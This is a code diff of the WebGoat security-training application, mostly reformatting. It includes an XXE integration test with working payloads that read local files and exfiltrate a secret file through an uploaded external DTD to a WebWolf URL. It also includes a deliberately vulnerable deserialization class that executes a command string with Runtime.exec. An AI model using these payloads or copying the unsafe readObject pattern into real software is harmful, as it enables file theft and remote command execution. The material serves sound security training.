 import java.nio.file.Path;
 import java.nio.file.Paths;
-import org.junit.jupiter.api.Test;

 public class XXEIntegrationTest extends IntegrationTest {

-  private static final String xxe3 =
-      """
-      <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
-      """;
-  private static final String xxe4 =
-      """
-     <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
-     """;
-  private static final String dtd7 =
-      """
-      <?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
-      """;
-  private static final String xxe7 =
-      """
-      <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
-      """;
+    private static final String xxe3 = """
+            <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
+    private static final String xxe4 = """
+            <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
+    private static final String dtd7 = """
+            <?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;""";
+    private static final String xxe7 = """
+            <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>""";

-  private String webGoatHomeDirectory;
-  private String webWolfFileServerLocation;
+    private String webGoatHomeDirectory;
+    private String webWolfFileServerLocation;

-  /*
-   * This test is to verify that all is secure when XXE security patch is applied.
-   */
-  @Test
-  public void xxeSecure() throws IOException {
-    startLesson("XXE");
-    webGoatHomeDirectory = webGoatServerDirectory();
-    webWolfFileServerLocation = getWebWolfFileServerLocation();
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
-        .get(url("service/enable-security.mvc"))
-        .then()
-        .statusCode(200);
-    checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false);
-    checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
-    checkAssignment(
-        url("/WebGoat/xxe/blind"),
-        ContentType.XML,
-        "<comment><text>" + getSecret() + "</text></comment>",
-        false);
-  }
-
-  /**
-   * This performs the steps of the exercise before the secret can be committed in the final step.
-   *
-   * @return
-   * @throws IOException
-   */
-  private String getSecret() throws IOException {
-    // remove any left over DTD
-    Path webWolfFilePath = Paths.get(webWolfFileServerLocation);
-    if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) {
-      Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
-    }
-    String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
-    String dtd7String =
-        dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
-
-    // upload DTD
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("WEBWOLFSESSION", getWebWolfCookie())
-        .multiPart("file", "blind.dtd", dtd7String.getBytes())
-        .post(webWolfUrl("/fileupload"))
-        .then()
-        .extract()
-        .response()
-        .getBody()
-        .asString();
-    // upload attack
-    String xxe7String =
-        xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser());
-    checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false);
-
-    // read results from WebWolf
-    String result =
+    /*
+     * This test is to verify that all is secure when XXE security patch is applied.
+     */
+    @Test
+    public void xxeSecure() throws IOException {
+        startLesson("XXE");
+        webGoatHomeDirectory = webGoatServerDirectory();
+        webWolfFileServerLocation = getWebWolfFileServerLocation();
        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-            .get(webWolfUrl("/WebWolf/requests"))
-            .then()
-            .extract()
-            .response()
-            .getBody()
-            .asString();
-    result = result.replace("%20", " ");
-    if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
-      result =
-          result.substring(
-              result.lastIndexOf("WebGoat 8.0 rocks... ("),
-              result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url("service/enable-security.mvc"))
+                .then()
+                .statusCode(200);
+        checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false);
+        checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
+        checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", false);
    }
-    return result;
-  }

-  @Test
-  public void runTests() throws IOException {
-    startLesson("XXE", true);
-    webGoatHomeDirectory = webGoatServerDirectory();
-    webWolfFileServerLocation = getWebWolfFileServerLocation();
-    checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
-    checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
-    checkAssignment(
-        url("/WebGoat/xxe/blind"),
-        ContentType.XML,
-        "<comment><text>" + getSecret() + "</text></comment>",
-        true);
-    checkResults("xxe/");
-  }
+    /**
+     * This performs the steps of the exercise before the secret can be committed in the final step.
+     *
+     * @return
+     * @throws IOException
+     */
+    private String getSecret() throws IOException {
+        //remove any left over DTD
+        Path webWolfFilePath = Paths.get(webWolfFileServerLocation);
+        if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) {
+            Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
+        }
+        String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
+        String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
+
+        //upload DTD
+        RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("WEBWOLFSESSION", getWebWolfCookie())
+                .multiPart("file", "blind.dtd", dtd7String.getBytes())
+                .post(webWolfUrl("/fileupload"))
+                .then()
+                .extract().response().getBody().asString();
+        //upload attack
+        String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser());
+        checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false);
+
+        //read results from WebWolf
+        String result = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("WEBWOLFSESSION", getWebWolfCookie())
+                .get(webWolfUrl("/WebWolf/requests"))
+                .then()
+                .extract().response().getBody().asString();
+        result = result.replace("%20", " ");
+        if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
+            result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("), result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
+        }
+        return result;
+    }
+
+    @Test
+    public void runTests() throws IOException {
+        startLesson("XXE", true);
+        webGoatHomeDirectory = webGoatServerDirectory();
+        webWolfFileServerLocation = getWebWolfFileServerLocation();
+        checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
+        checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
+        checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", true);
+        checkResults("xxe/");
+    }
 }
--- a/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java
+++ b/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java
@ -1,76 +1,74 @@
 package org.dummy.insecure.framework;

+import lombok.extern.slf4j.Slf4j;
+
 import java.io.BufferedReader;
 import java.io.IOException;
 import java.io.InputStreamReader;
 import java.io.ObjectInputStream;
 import java.io.Serializable;
 import java.time.LocalDateTime;
-import lombok.extern.slf4j.Slf4j;

@Slf4j
-// TODO move back to lesson
+//TODO move back to lesson
 public class VulnerableTaskHolder implements Serializable {

-  private static final long serialVersionUID = 2;
+	private static final long serialVersionUID = 2;

-  private String taskName;
-  private String taskAction;
-  private LocalDateTime requestedExecutionTime;
+	private String taskName;
+	private String taskAction;
+	private LocalDateTime requestedExecutionTime;
 	
-  public VulnerableTaskHolder(String taskName, String taskAction) {
-    super();
-    this.taskName = taskName;
-    this.taskAction = taskAction;
-    this.requestedExecutionTime = LocalDateTime.now();
-  }
+	public VulnerableTaskHolder(String taskName, String taskAction) {
+		super();
+		this.taskName = taskName;
+		this.taskAction = taskAction;
+		this.requestedExecutionTime = LocalDateTime.now();
+	}
 	
-  @Override
-  public String toString() {
-    return "VulnerableTaskHolder [taskName="
-        + taskName
-        + ", taskAction="
-        + taskAction
-        + ", requestedExecutionTime="
-        + requestedExecutionTime
-        + "]";
-  }
+	@Override
+	public String toString() {
+		return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="
+				+ requestedExecutionTime + "]";
+	}

-  /**
-   * Execute a task when de-serializing a saved or received object.
-   *
-   * @author stupid develop
-   */
-  private void readObject(ObjectInputStream stream) throws Exception {
-    // unserialize data so taskName and taskAction are available
-    stream.defaultReadObject();
+	/**
+	 * Execute a task when de-serializing a saved or received object.
+	 * @author stupid develop
+	 */
+	private void readObject( ObjectInputStream stream ) throws Exception {
+        //unserialize data so taskName and taskAction are available
+		stream.defaultReadObject();
 		
-    // do something with the data
-    log.info("restoring task: {}", taskName);
-    log.info("restoring time: {}", requestedExecutionTime);
+		//do something with the data
+		log.info("restoring task: {}", taskName);
+		log.info("restoring time: {}", requestedExecutionTime);
 		
-    if (requestedExecutionTime != null
-        && (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
-            || requestedExecutionTime.isAfter(LocalDateTime.now()))) {
-      // do nothing is the time is not within 10 minutes after the object has been created
-      log.debug(this.toString());
-      throw new IllegalArgumentException("outdated");
-    }
+		if (requestedExecutionTime!=null && 
+				(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
+				|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {
+			//do nothing is the time is not within 10 minutes after the object has been created
+			log.debug(this.toString());
+			throw new IllegalArgumentException("outdated");
+		}
 		
-    // condition is here to prevent you from destroying the goat altogether
-    if ((taskAction.startsWith("sleep") || taskAction.startsWith("ping"))
-        && taskAction.length() < 22) {
-      log.info("about to execute: {}", taskAction);
-      try {
-        Process p = Runtime.getRuntime().exec(taskAction);
-        BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
-        String line = null;
-        while ((line = in.readLine()) != null) {
-          log.info(line);
+		//condition is here to prevent you from destroying the goat altogether
+		if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
+				&& taskAction.length() < 22) {
+		log.info("about to execute: {}", taskAction);
+		try {
+            Process p = Runtime.getRuntime().exec(taskAction);
+            BufferedReader in = new BufferedReader(
+                                new InputStreamReader(p.getInputStream()));
+            String line = null;
+            while ((line = in.readLine()) != null) {
+                log.info(line);
+            }
+        } catch (IOException e) {
+            log.error("IO Exception", e);
        }
-      } catch (IOException e) {
-        log.error("IO Exception", e);
-      }
+		}
+       
    }
-  }
+	
 }
--- a/src/main/java/org/owasp/webgoat/container/AjaxAuthenticationEntryPoint.java
+++ b/src/main/java/org/owasp/webgoat/container/AjaxAuthenticationEntryPoint.java
@ -1,59 +1,59 @@
 /**
 * *************************************************************************************************
- *
 * <p>
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project
+ * utility. For details, please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under
+ * the terms of the GNU General Public License as published by the Free Software
+ * Foundation; either version 2 of the License, or (at your option) any later
+ * version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+ * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+ * details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with
+ * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
+ * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
 * for free software projects.
 */
+
 package org.owasp.webgoat.container;

-import jakarta.servlet.ServletException;
-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpServletResponse;
-import java.io.IOException;
 import org.springframework.security.core.AuthenticationException;
 import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint;

+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+
 /**
- * AjaxAuthenticationEntryPoint class.
+ * <p>AjaxAuthenticationEntryPoint class.</p>
 *
 * @author zupzup
 */
-public class AjaxAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoint {
-  public AjaxAuthenticationEntryPoint(String loginFormUrl) {
-    super(loginFormUrl);
-  }

-  @Override
-  public void commence(
-      HttpServletRequest request,
-      HttpServletResponse response,
-      AuthenticationException authException)
-      throws IOException, ServletException {
-    if (request.getHeader("x-requested-with") != null) {
-      response.sendError(401, authException.getMessage());
-    } else {
-      super.commence(request, response, authException);
+public class AjaxAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoint {
+    public AjaxAuthenticationEntryPoint(String loginFormUrl) {
+        super(loginFormUrl);
+    }
+
+    @Override
+    public void commence(HttpServletRequest request, HttpServletResponse response, AuthenticationException authException) throws IOException, ServletException {
+        if (request.getHeader("x-requested-with") != null) {
+            response.sendError(401, authException.getMessage());
+        } else {
+            super.commence(request, response, authException);
+        }
    }
-  }
 }
--- a/src/main/java/org/owasp/webgoat/container/AsciiDoctorTemplateResolver.java
+++ b/src/main/java/org/owasp/webgoat/container/AsciiDoctorTemplateResolver.java
@ -1,172 +1,110 @@
+
 /**
 * ************************************************************************************************
 * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
 * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
 * GNU General Public License as published by the Free Software Foundation; either version 2 of the
 * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if
 * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
 * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
- *
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
 * <p>
 *
 * @author WebGoat
 * @version $Id: $Id
 * @since December 12, 2015
 */
+
 package org.owasp.webgoat.container;

-import static org.asciidoctor.Asciidoctor.Factory.create;
-
-import io.undertow.util.Headers;
-import jakarta.servlet.http.HttpServletRequest;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.io.StringWriter;
-import java.util.HashMap;
-import java.util.Locale;
-import java.util.Map;
-import java.util.Set;
 import lombok.extern.slf4j.Slf4j;
 import org.asciidoctor.Asciidoctor;
 import org.asciidoctor.extension.JavaExtensionRegistry;
-import org.owasp.webgoat.container.asciidoc.*;
-import org.owasp.webgoat.container.i18n.Language;
+import org.owasp.webgoat.container.asciidoc.OperatingSystemMacro;
+import org.owasp.webgoat.container.asciidoc.UsernameMacro;
+import org.owasp.webgoat.container.asciidoc.WebGoatTmpDirMacro;
+import org.owasp.webgoat.container.asciidoc.WebGoatVersionMacro;
+import org.owasp.webgoat.container.asciidoc.WebWolfMacro;
+import org.owasp.webgoat.container.asciidoc.WebWolfRootMacro;
 import org.springframework.core.io.ResourceLoader;
-import org.springframework.web.context.request.RequestContextHolder;
-import org.springframework.web.context.request.ServletRequestAttributes;
-import org.springframework.web.servlet.i18n.SessionLocaleResolver;
 import org.thymeleaf.IEngineConfiguration;
 import org.thymeleaf.templateresolver.FileTemplateResolver;
 import org.thymeleaf.templateresource.ITemplateResource;
 import org.thymeleaf.templateresource.StringTemplateResource;

+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.StringWriter;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Set;
+
+import static org.asciidoctor.Asciidoctor.Factory.create;
+
 /**
 * Thymeleaf resolver for AsciiDoc used in the lesson, can be used as follows inside a lesson file:
- *
- * <p><code>
- * <div th:replace="~{doc:AccessControlMatrix_plan.adoc}"></div>
+ * <p>
+ * <code>
+ * <div th:replace="doc:AccessControlMatrix_plan.adoc"></div>
 * </code>
 */
@Slf4j
 public class AsciiDoctorTemplateResolver extends FileTemplateResolver {

-  private static final Asciidoctor asciidoctor = create();
-  private static final String PREFIX = "doc:";
+    private static final Asciidoctor asciidoctor = create();
+    private static final String PREFIX = "doc:";
+    private final ResourceLoader resourceLoader;

-  private final Language language;
-  private final ResourceLoader resourceLoader;
-
-  public AsciiDoctorTemplateResolver(Language language, ResourceLoader resourceLoader) {
-    this.resourceLoader = resourceLoader;
-    this.language = language;
-    setResolvablePatterns(Set.of(PREFIX + "*"));
-  }
-
-  @Override
-  protected ITemplateResource computeTemplateResource(
-      IEngineConfiguration configuration,
-      String ownerTemplate,
-      String template,
-      String resourceName,
-      String characterEncoding,
-      Map<String, Object> templateResolutionAttributes) {
-    var templateName = resourceName.substring(PREFIX.length());
-    log.debug("template used: {}", templateName);
-    try (InputStream is = getInputStream(templateName)) {
-      JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
-      extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
-      extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
-      extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class);
-      extensionRegistry.inlineMacro("webGoatTempDir", WebGoatTmpDirMacro.class);
-      extensionRegistry.inlineMacro("operatingSystem", OperatingSystemMacro.class);
-      extensionRegistry.inlineMacro("username", UsernameMacro.class);
-
-      StringWriter writer = new StringWriter();
-      asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
-      return new StringTemplateResource(writer.getBuffer().toString());
-    } catch (IOException e) {
-      return new StringTemplateResource(
-          "<div>Unable to find documentation for: " + templateName + " </div>");
+    public AsciiDoctorTemplateResolver(ResourceLoader resourceLoader) {
+        this.resourceLoader = resourceLoader;
+        setResolvablePatterns(Set.of(PREFIX + "*"));
    }
-  }

-  private InputStream getInputStream(String templateName) throws IOException {
-    log.debug("locale: {}", language.getLocale().getLanguage());
-    String computedResourceName =
-        computeResourceName(templateName, language.getLocale().getLanguage());
-    if (resourceLoader
-        .getResource("classpath:/" + computedResourceName)
-        .isReadable() /*isFile()*/) {
-      log.debug("localized file exists");
-      return resourceLoader.getResource("classpath:/" + computedResourceName).getInputStream();
-    } else {
-      log.debug("using english template");
-      return resourceLoader.getResource("classpath:/" + templateName).getInputStream();
+    @Override
+    protected ITemplateResource computeTemplateResource(IEngineConfiguration configuration, String ownerTemplate, String template, String resourceName, String characterEncoding, Map<String, Object> templateResolutionAttributes) {
+        var templateName = resourceName.substring(PREFIX.length());
+
+        try (InputStream is = resourceLoader.getResource("classpath:/" + templateName).getInputStream()) {
+            JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
+            extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
+            extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
+            extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class);
+            extensionRegistry.inlineMacro("webGoatTempDir", WebGoatTmpDirMacro.class);
+            extensionRegistry.inlineMacro("operatingSystem", OperatingSystemMacro.class);
+            extensionRegistry.inlineMacro("username", UsernameMacro.class);
+
+            StringWriter writer = new StringWriter();
+            asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
+            return new StringTemplateResource(writer.getBuffer().toString());
+        } catch (IOException e) {
+            return new StringTemplateResource("<div>Unable to find documentation for: " + templateName + " </div>");
+        }
    }
-  }

-  private String computeResourceName(String resourceName, String language) {
-    String computedResourceName;
-    if (language.equals("en")) {
-      computedResourceName = resourceName;
-    } else {
-      computedResourceName = resourceName.replace(".adoc", "_".concat(language).concat(".adoc"));
+    private Map<String, Object> createAttributes() {
+        Map<String, Object> attributes = new HashMap<>();
+        attributes.put("source-highlighter", "coderay");
+        attributes.put("backend", "xhtml");
+        attributes.put("icons", org.asciidoctor.Attributes.FONT_ICONS);
+
+        Map<String, Object> options = new HashMap<>();
+        options.put("attributes", attributes);
+
+        return options;
    }
-    log.debug("computed local file name: {}", computedResourceName);
-    log.debug(
-        "file exists: {}",
-        resourceLoader.getResource("classpath:/" + computedResourceName).isReadable());
-    return computedResourceName;
-  }
-
-  private Map<String, Object> createAttributes() {
-    Map<String, Object> attributes = new HashMap<>();
-    attributes.put("source-highlighter", "coderay");
-    attributes.put("backend", "xhtml");
-    attributes.put("lang", determineLanguage());
-    attributes.put("icons", org.asciidoctor.Attributes.FONT_ICONS);
-
-    Map<String, Object> options = new HashMap<>();
-    options.put("attributes", attributes);
-
-    return options;
-  }
-
-  private String determineLanguage() {
-    HttpServletRequest request =
-        ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
-
-    Locale browserLocale =
-        (Locale)
-            request.getSession().getAttribute(SessionLocaleResolver.LOCALE_SESSION_ATTRIBUTE_NAME);
-    if (null != browserLocale) {
-      log.debug("browser locale {}", browserLocale);
-      return browserLocale.getLanguage();
-    } else {
-      String langHeader = request.getHeader(Headers.ACCEPT_LANGUAGE_STRING);
-      if (null != langHeader) {
-        log.debug("browser locale {}", langHeader);
-        return langHeader.substring(0, 2);
-      } else {
-        log.debug("browser default english");
-        return "en";
-      }
-    }
-  }
 }
--- a/src/main/java/org/owasp/webgoat/container/DatabaseConfiguration.java
+++ b/src/main/java/org/owasp/webgoat/container/DatabaseConfiguration.java
@ -1,8 +1,5 @@
 package org.owasp.webgoat.container;

-import java.util.Map;
-import java.util.function.Function;
-import javax.sql.DataSource;
 import lombok.RequiredArgsConstructor;
 import lombok.extern.slf4j.Slf4j;
 import org.flywaydb.core.Flyway;
@ -14,55 +11,58 @@ import org.springframework.context.annotation.Configuration;
 import org.springframework.context.annotation.Primary;
 import org.springframework.jdbc.datasource.DriverManagerDataSource;

+import javax.sql.DataSource;
+import java.util.Map;
+import java.util.function.Function;
+
@Configuration
@RequiredArgsConstructor
@Slf4j
 public class DatabaseConfiguration {

-  private final DataSourceProperties properties;
-  private final LessonScanner lessonScanner;
+    private final DataSourceProperties properties;
+    private final LessonScanner lessonScanner;

-  @Bean
-  @Primary
-  public DataSource dataSource() {
-    DriverManagerDataSource dataSource = new DriverManagerDataSource();
-    dataSource.setDriverClassName(properties.getDriverClassName());
-    dataSource.setUrl(properties.getUrl());
-    dataSource.setUsername(properties.getUsername());
-    dataSource.setPassword(properties.getPassword());
-    return dataSource;
-  }
+    @Bean
+    @Primary
+    public DataSource dataSource() {
+        DriverManagerDataSource dataSource = new DriverManagerDataSource();
+        dataSource.setDriverClassName(properties.getDriverClassName());
+        dataSource.setUrl(properties.getUrl());
+        dataSource.setUsername(properties.getUsername());
+        dataSource.setPassword(properties.getPassword());
+        return dataSource;
+    }

-  /**
-   * Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users
-   * and 1 for lesson specific tables we use. This way we clean the data in the lesson database
-   * quite easily see {@link RestartLessonService#restartLesson()} for how we clean the lesson
-   * related tables.
-   */
-  @Bean(initMethod = "migrate")
-  public Flyway flyWayContainer() {
-    return Flyway.configure()
-        .configuration(Map.of("driver", properties.getDriverClassName()))
-        .dataSource(dataSource())
-        .schemas("container")
-        .locations("db/container")
-        .load();
-  }
+    /**
+     * Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users and 1 for lesson
+     * specific tables we use. This way we clean the data in the lesson database quite easily see {@link RestartLessonService#restartLesson()}
+     * for how we clean the lesson related tables.
+     */
+    @Bean(initMethod = "migrate")
+    public Flyway flyWayContainer() {
+        return Flyway
+                .configure()
+                .configuration(Map.of("driver", properties.getDriverClassName()))
+                .dataSource(dataSource())
+                .schemas("container")
+                .locations("db/container")
+                .load();
+    }

-  @Bean
-  public Function<String, Flyway> flywayLessons() {
-    return schema ->
-        Flyway.configure()
-            .configuration(Map.of("driver", properties.getDriverClassName()))
-            .schemas(schema)
-            .cleanDisabled(false)
-            .dataSource(dataSource())
-            .locations("lessons")
-            .load();
-  }
+    @Bean
+    public Function<String, Flyway> flywayLessons(LessonDataSource lessonDataSource) {
+        return schema -> Flyway
+                .configure()
+                .configuration(Map.of("driver", properties.getDriverClassName()))
+                .schemas(schema)
+                .dataSource(lessonDataSource)
+                .locations("lessons")
+                .load();
+    }

-  @Bean
-  public LessonDataSource lessonDataSource() {
-    return new LessonDataSource(dataSource());
-  }
+    @Bean
+    public LessonDataSource lessonDataSource() {
+        return new LessonDataSource(dataSource());
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/HammerHead.java
+++ b/src/main/java/org/owasp/webgoat/container/HammerHead.java
@ -9,29 +9,30 @@ import org.springframework.web.servlet.ModelAndView;

 /**
 * *************************************************************************************************
- *
 * <p>
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project
+ * utility. For details, please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under
+ * the terms of the GNU General Public License as published by the Free Software
+ * Foundation; either version 2 of the License, or (at your option) any later
+ * version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+ * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+ * details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with
+ * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
+ * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
 * for free software projects.
 *
 * @author Jeff Williams
@ -44,13 +45,13 @@ import org.springframework.web.servlet.ModelAndView;
@AllArgsConstructor
 public class HammerHead {

-  private final Course course;
+    private final Course course;

-  /** Entry point for WebGoat, redirects to the first lesson found within the course. */
-  @RequestMapping(
-      path = "/attack",
-      method = {RequestMethod.GET, RequestMethod.POST})
-  public ModelAndView attack() {
-    return new ModelAndView("redirect:" + "start.mvc" + course.getFirstLesson().getLink());
-  }
+    /**
+     * Entry point for WebGoat, redirects to the first lesson found within the course.
+     */
+    @RequestMapping(path = "/attack", method = {RequestMethod.GET, RequestMethod.POST})
+    public ModelAndView attack() {
+        return new ModelAndView("redirect:" + "start.mvc" + course.getFirstLesson().getLink());
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/LessonDataSource.java
